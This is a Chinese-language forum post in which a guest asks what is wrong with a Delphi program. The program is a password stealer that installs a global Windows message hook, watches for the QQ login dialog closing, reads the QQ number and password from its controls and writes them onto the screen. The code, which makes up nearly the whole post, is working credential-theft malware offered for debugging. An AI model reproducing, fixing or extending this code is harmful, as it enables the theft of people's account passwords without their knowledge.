L
lovenuo
Unregistered / Unconfirmed
GUEST, unregistred user!
下面的代码那里出错了?高手请教<br><br>program Hook;<br><br>uses Windows, Messages;<br><br>var WndProcHook: DWORD; Msg : TMSG;<br><br> // 取QQ密码<br>procedure GetPassWord(Dialog: HWND);<br>var<br> ComboBox, Edit: HWND;<br> Buffer: array[0..20] of Char;<br> TmpStr: string;<br> ScreenDC: HDC;<br>begin<br> // 约束条件<br> if FindWindowEx(Dialog, 0, 'Button', '注册向导') = 0 then Exit;<br> <br> GetClassName(Dialog, Buffer, 20);<br> if (Buffer <> '#32770') then Exit;<br><br> // 控件句柄<br> ComboBox := FindWindowEx(Dialog, 0, 'ComboBox', nil);<br> if (ComboBox = 0) then Exit;<br><br> Edit := FindWindowEx(Dialog, 0, 'Edit', nil);<br> if (Edit = 0) then Exit;<br><br> // 控件内容<br> Buffer[GetWindowText(ComboBox, Buffer, 20)] := #0;<br> if (Buffer[0] = #0) then Exit;<br> TmpStr := '号码: ' + Buffer;<br><br> Buffer[GetWindowText(Edit, Buffer, 20)] := #0;<br> if (Buffer[0] = #0) then Exit;<br> TmpStr := TmpStr + '密码: ' + Buffer;<br><br> // 写到屏幕<br> ScreenDC := GetDC(0);<br> TextOut(ScreenDC, 0, 0, PChar(TmpStr), Length(TmpStr));<br> ReleaseDC(0, ScreenDC);<br>end;<br><br><br> // 钩子回调<br>function CallWndProc(nCode: Integer; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall;<br>begin<br> // 窗体即将被清除<br> if (nCode = HC_ACTION) and (PCWPStruct(lParam).message = WM_DESTROY) then<br> GetPassWord(PCWPStruct(lParam).hwnd);<br><br> // 调用下一个钩子<br> Result := CallNextHookEx(WndProcHook, nCode, wParam, lParam);<br>end;<br><br><br>// .... 主程序 .... //<br>begin<br> WndProcHook := SetWindowsHookEx(WH_CALLWNDPROC, @CallWndProc, HInstance, 0);<br> while GetMessage(Msg, 0, 0, 0) do<br> begin<br> if (Msg.Message = WM_CANCELJOURNAL) then<br> WndProcHook := SetWindowsHookEx(WH_CALLWNDPROC, @CallWndProc, HInstance, 0);<br> end;<br> UnHookWindowsHookEx(WndProcHook);<br>end.